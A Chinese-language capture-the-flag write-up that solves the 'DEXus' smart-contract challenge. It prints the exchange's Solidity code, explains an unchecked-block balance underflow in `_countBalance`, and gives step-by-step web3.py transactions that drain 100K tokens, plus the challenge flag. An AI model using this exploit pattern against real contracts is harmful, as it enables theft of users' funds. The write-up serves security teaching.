前言
周末没事翻着玩,发现了一个比赛,虽然已经结束了但是环境还在,抱着试试的态度挑了一题,没想到一个多小时就做出来了hhh
题目描述
题目首先自建了一个DEX,有buy,sell,deposit,withdraw等功能,可以自行交易两种Token。
/DExus.sol
// SPDX-License-Identifier: none
pragma solidity ^0.8.17;
import "./interfaces/IDEX.sol";
import "./interfaces/IAccount.sol";
import "./libraries/ArrayLib.sol";
import "./openzeppelin-contracts/utils/EnumerableSet.sol";
import "./openzeppelin-contracts/access/Ownable.sol";
import "./openzeppelin-contracts/token/ERC20/IERC20.sol";
import "./openzeppelin-contracts/token/ERC20/SafeERC20.sol";
import "./openzeppelin-contracts/math/Math.sol";
contract DEXus is IDEX, IAccount, Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
using ArrayLib for string[];
using SafeERC20 for IERC20;
EnumerableSet.AddressSet private tokens;
mapping (string => Pair) private Pairs;
string[] private PairsList;
mapping (string => mapping (OrderType => Order[])) private PairOrders;
mapping (uint => Order) private AllOrders;
uint private last_order_id;
// balances
mapping (address => mapping (address => uint)) private overallBalances; // token => user => uint
mapping (address => mapping (address => uint)) private lockedBalances; // token => user => uint
// events
event PairAdded(string pair);
event PairDeleted(string pair);
event NewBuyOrder(uint id, string pair, address user, uint amount, uint price);
event NewSellOrder(uint id, string pair, address user, uint amount, uint price);
event OrderCompleted(uint id, string pair, address buyer, address seller, uint amount, uint price);
event MarketOrderRemainder(address creator, uint remained_amount, OrderType orderType);
// modifiers
modifier onlyCreator(Order storage order) {
require(msg.sender == order.creator);
_;
}
modifier pairExists(string calldata pair_name) {
require(Pairs[pair_name].first_token_addr != address(0), "Pair doesn't exist");
_;
}
modifier tokenExists(address token) {
require(tokens.contains(token), "Token isn't supported");
_;
}
// owner functions
function addPair(string calldata pair_name,
address first_token_addr,
address second_token_addr,
uint price_decimals) external onlyOwner {
require(Pairs[pair_name].first_token_addr == address(0), "Pair exists");
tokens.add(first_token_addr);
tokens.add(second_token_addr);
Pair memory p = Pair({first_token_addr: first_token_addr,
second_token_addr: second_token_addr,
price_decimals: price_decimals});
Pairs[pair_name] = p;
PairsList.push(pair_name);
emit PairAdded(pair_name);
}
function deletePair(string calldata pair_name) external onlyOwner pairExists(pair_name) {
Pair storage p = Pairs[pair_name];
tokens.remove(p.first_token_addr);
tokens.remove(p.second_token_addr);
PairsList.remove(pair_name);
delete PairOrders[pair_name][OrderType.BUY];
delete PairOrders[pair_name][OrderType.SELL];
delete Pairs[pair_name];
emit PairDeleted(pair_name);
}
// view functions
function fetchPairs() external view returns(string[] memory) {
return PairsList;
}
function getPair(string calldata pair_name) external view returns(Pair memory) {
return Pairs[pair_name];
}
function balanceOf(address token, address user) external view returns(uint) {
return _countBalance(token, user);
}
function fetchBuyOrders(string calldata pair_name) external view returns(Order[] memory) {
return PairOrders[pair_name][OrderType.BUY];
}
function fetchSellOrders(string calldata pair_name) external view returns(Order[] memory) {
return PairOrders[pair_name][OrderType.SELL];
}
// user functions
function deposit(address token, uint amount) external tokenExists(token) {
overallBalances[token][msg.sender] += amount;
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(address token, uint amount) external tokenExists(token) {
uint unlockedBalance = _countBalance(token, msg.sender);
require(unlockedBalance >= amount, "Insufficient unlocked balance");
overallBalances[token][msg.sender] = unlockedBalance - amount;
IERC20(token).safeTransfer(msg.sender, amount);
}
function buyOrderMarket(string calldata pair_name, uint amount) external pairExists(pair_name){
Order[] storage orderList = PairOrders[pair_name][OrderType.SELL];
uint ordersLength = orderList.length;
require(ordersLength != 0, "No sell orders");
Pair storage p = Pairs[pair_name];
uint remainingAmount = amount;
while (remainingAmount != 0 && ordersLength != 0) {
Order storage o = orderList[ordersLength - 1];
uint amount_ = Math.min(o.amount, remainingAmount);
uint buyerPrice = (amount_ * o.price) / (10 ** p.price_decimals);
require(_countBalance(p.second_token_addr, msg.sender) >= amount_, "Insufficient unlocked balance");
remainingAmount -= amount_;
overallBalances[p.first_token_addr][msg.sender] += amount_;
overallBalances[p.second_token_addr][msg.sender] -= buyerPrice;
overallBalances[p.first_token_addr][o.creator] -= amount_;
lockedBalances[p.first_token_addr][o.creator] -= amount_;
overallBalances[p.second_token_addr][o.creator] += buyerPrice;
emit OrderCompleted(o.id, pair_name, msg.sender, o.creator, amount_, o.price);
if (o.amount > amount_) {
o.amount -= amount_;
break;
}
delete AllOrders[o.id];
orderList.pop();
ordersLength--;
}
if (remainingAmount != 0) {
emit MarketOrderRemainder(msg.sender, remainingAmount, OrderType.BUY);
}
}
function buyOrderLimit(string calldata pair_name, uint amount, uint price) external pairExists(pair_name){
Pair storage p = Pairs[pair_name];
uint spentAmount = (amount * price) / (10 ** p.price_decimals);
require(_countBalance(p.second_token_addr, msg.sender) >= spentAmount, "Insufficient unlocked balance");
lockedBalances[p.second_token_addr][msg.sender] += spentAmount;
last_order_id++;
Order[] storage orderList = PairOrders[pair_name][OrderType.BUY];
Order memory new_order = Order({
id: last_order_id,
pair_name: pair_name,
amount: amount,
price: price,
creator: msg.sender,
orderType: OrderType.BUY
});
orderList.push(new_order);
AllOrders[last_order_id] = new_order;
// gas optimization
unchecked {
for (uint i = orderList.length; i > 1; --i) {
if (orderList[i-1].price > orderList[i-2].price)
break;
// swap orders
Order memory tmp = orderList[i-1];
orderList[i-1] = orderList[i-2];
orderList[i-2] = tmp;
}
}
emit NewBuyOrder(last_order_id, pair_name, msg.sender, amount, price);
}
function sellOrderMarket(string calldata pair_name, uint amount) external pairExists(pair_name){
Order[] storage orderList = PairOrders[pair_name][OrderType.BUY];
uint ordersLength = orderList.length;
require(ordersLength != 0, "No buy orders");
Pair storage p = Pairs[pair_name];
uint remainingAmount = amount;
while (remainingAmount != 0 && ordersLength != 0) {
Order storage o = orderList[ordersLength - 1];
uint amount_ = Math.min(o.amount, remainingAmount);
uint sellerPrice = (amount_ * o.price) / (10 ** p.price_decimals);
require(_countBalance(p.first_token_addr, msg.sender) >= amount_, "Insufficient unlocked balance");
remainingAmount -= amount_;
overallBalances[p.second_token_addr][msg.sender] += sellerPrice;
overallBalances[p.first_token_addr][msg.sender] -= amount_;
overallBalances[p.second_token_addr][o.creator] -= sellerPrice;
lockedBalances[p.second_token_addr][o.creator] -= sellerPrice;
overallBalances[p.first_token_addr][o.creator] += amount_;
emit OrderCompleted(o.id, pair_name, o.creator, msg.sender, amount_, o.price);
if (o.amount > amount_) {
o.amount -= amount_;
break;
}
delete AllOrders[o.id];
orderList.pop();
ordersLength--;
}
if (remainingAmount != 0) {
emit MarketOrderRemainder(msg.sender, remainingAmount, OrderType.SELL);
}
}
function sellOrderLimit(string calldata pair_name, uint amount, uint price) external pairExists(pair_name){
Pair storage p = Pairs[pair_name];
require(_countBalance(p.first_token_addr, msg.sender) >= amount, "Insufficient unlocked balance");
lockedBalances[p.first_token_addr][msg.sender] += amount;
last_order_id++;
Order[] storage orderList = PairOrders[pair_name][OrderType.SELL];
Order memory new_order = Order({
id: last_order_id,
pair_name: pair_name,
amount: amount,
price: price,
creator: msg.sender,
orderType: OrderType.SELL
});
orderList.push(new_order);
AllOrders[last_order_id] = new_order;
// gas optimization
unchecked {
for (uint i = orderList.length; i > 1; --i) {
if (orderList[i-1].price < orderList[i-2].price)
break;
// swap orders
Order memory tmp = orderList[i-1];
orderList[i-1] = orderList[i-2];
orderList[i-2] = tmp;
}
}
emit NewSellOrder(last_order_id, pair_name, msg.sender, amount, price);
}
function deleteOrder(uint id) external {
Order storage o = AllOrders[id];
require(o.creator == msg.sender, "You'are not the order creator");
Order[] storage orders = PairOrders[o.pair_name][o.orderType];
// gas optimization
unchecked {
uint i;
bool found;
for (; i < orders.length; ++i) {
if (orders[i].id == o.id) {
found = true;
break;
}
}
if (!found) revert("Corrupt!");
for (; i < orders.length-1; ++i) {
Order storage tmp = orders[i];
orders[i] = orders[i+1];
orders[i+1] = tmp;
}
orders.pop();
delete AllOrders[id];
}
}
// internal
function _countBalance(address token, address user) internal view returns(uint) {
// gas optimization
unchecked {
return overallBalances[token][user] - lockedBalances[token][user];
}
}
}
然后给出了挑战内容,大致是这样的:
- 合约给了User 100K UHTK,10 DAI,给了你 10 UHTK,10 DAI
- User在DEX中创建了两个订单,分别是卖出 100K UHTK,和卖出 2 DAI。
- 你需要偷走User的100K UHTK
/setup.sol
pragma solidity ^0.8.13;
import "./DEXus.sol";
import "./mocks/ERC20Mock.sol";
contract Setup {
DEXus public immutable TARGET;
ERC20Mock public uhtk;
ERC20Mock public dai;
address public user;
address public hacker;
uint256 public constant USER_UHTK_BALANCE = 100000 ether;
uint256 public constant USER_DAI_BALANCE = 10 ether;
uint256 public constant HACKER_UHTK_BALANCE = 10 ether;
uint256 public constant HACKER_DAI_BALANCE = 10 ether;
bool inited = false;
constructor() payable {
TARGET = new DEXus();
uhtk = new ERC20Mock("Unhackable Token", "UHTK");
dai = new ERC20Mock("DAI Stablecoin", "MTK");
}
function prefund() public returns (uint) {
require(!inited, "Already funded!");
hacker = address(msg.sender);
address user = address(this);
uhtk.mint(user, USER_UHTK_BALANCE);
uhtk.mint(hacker, HACKER_UHTK_BALANCE);
dai.mint(user, USER_DAI_BALANCE);
dai.mint(hacker, HACKER_DAI_BALANCE);
DEXus dex = DEXus(TARGET);
dex.addPair("UHTKDAI", address(uhtk), address(dai), 2);
dex.addPair("DAIUHTK", address(dai), address(uhtk), 2);
uhtk.approve(address(dex), USER_UHTK_BALANCE);
dex.deposit(address(uhtk), USER_UHTK_BALANCE);
dai.approve(address(dex), USER_DAI_BALANCE);
dex.deposit(address(dai), USER_DAI_BALANCE);
dex.sellOrderLimit("UHTKDAI", USER_UHTK_BALANCE, 50);
dex.sellOrderLimit("DAIUHTK", 2 ether, 250);
inited = true;
}
function isSolved() public view returns (bool) {
return uhtk.balanceOf(hacker) == USER_UHTK_BALANCE;
}
}
题目分析
乍一看合约内容非常复杂,但是期中大多数内容我们都不需要去读懂。按图索骥,既然我们需要获得大量的UHTK,只需要找出DEX中转账的函数,分析他们的漏洞。
只有withdraw
函数中存在转账功能,但是通过正常的买卖手段我们显然是不能获得到那么多的UHTK的。所以我们需要找出其他的漏洞。
我们发现,在转账之前,首先检查了unlockedToken,这个数值等于deposit
进入的数值,减去由于进行sell操作而lock的Token。
但是,这里这里在进行计算的具体过程中使用了unchecked
关键字,这个关键字的作用是取消了overflow和underflow的检查,也就是说,虽然高于0.8.0的编译器版本已经加入了溢出检查,但这种情况下,即使我们的数值溢出了,也不会报错。
虽然在前面的函数里,在Unchecked的代码块旁注释说是gas optimization,但是实际问题便是出现在这里,是出题人迷惑大家的一个小trick。
function _countBalance(address token, address user) internal view returns(uint) {
// gas optimization
unchecked {
return overallBalances[token][user] - lockedBalances[token][user];
}
}
思路已经很明了,只需要让lockedBalances
,大于overallBalances
,就可以在withdraw的时候,转出大量的Token。
实现
我们发现,在buyOrderMarket
函数中,只检测了_countBalance
是否大于购买的amount数值,而实际应该检测是否大于buyprice
的值。
首先我们通过sell操作,令overallBalances
略大于lockedBalances
,然后通过buy操作,令lockedBalances
大于overallBalances
,这样就可以在withdraw的时候,转出大量的Token。
由于buyprice是amount的2.5倍,我们选择sell 7 ethers UHTK,然后buy 2 ethers DAI,正好可以造成下溢的情况。
tx = DEX.functions.deposit(DAI_addr, 10**19).buildTransaction({
'from': accout.address,
'nonce': w3.eth.getTransactionCount(accout.address),
'gas': 8000000,
'gasPrice': w3.toWei('1', 'gwei'),
})
pendingtx(tx)
tx = DEX.functions.deposit(uhtk_addr, 10**19).buildTransaction({
'from': accout.address,
'nonce': w3.eth.getTransactionCount(accout.address),
'gas': 8000000,
'gasPrice': w3.toWei('1', 'gwei'),
})
pendingtx(tx)
tx = DEX.functions.sellOrderLimit("UHTKDAI", 7*10**18, 5).buildTransaction({
'from': accout.address,
'nonce': w3.eth.getTransactionCount(accout.address),
'gas': 8000000,
'gasPrice': w3.toWei('1', 'gwei'),
})
pendingtx(tx)
此时,我们的overallBalances
为10 ethers
,lockedBalances
为7 ethers
。
tx = DEX.functions.buyOrderMarket("DAIUHTK", 2*10**18).buildTransaction({
'from': accout.address,
'nonce': w3.eth.getTransactionCount(accout.address),
'gas': 8000000,
'gasPrice': w3.toWei('1', 'gwei'),
})
pendingtx(tx)
print(DEX.functions.balanceOf(uhtk_addr,accout.address).call())
# 115792089237316195423570985008687907853269984665640564039456584007913129639936
可以看到我们的uhtk的余额已经下溢到了一个非常大的数值,这时我们通过withdraw操作,就可以转出大量的Token。
tx = DEX.functions.withdraw(uhtk_addr, 100000*10**18).buildTransaction({
'from': accout.address,
'nonce': w3.eth.getTransactionCount(accout.address),
'gas': 8000000,
'gasPrice': w3.toWei('1', 'gwei'),
})
pendingtx(tx)
得到flagDECURITY{d3xus_1s_4w3s0m3}
总结
Unchecked的关键字虽然可以省gas,但是也带来了很大风险。在实际使用中,建议反复检查,避免出现这种情况。
尤其是在Unchecked中做大量运算时,以及用户可以控制Unchecked块的内容时,一定要小心。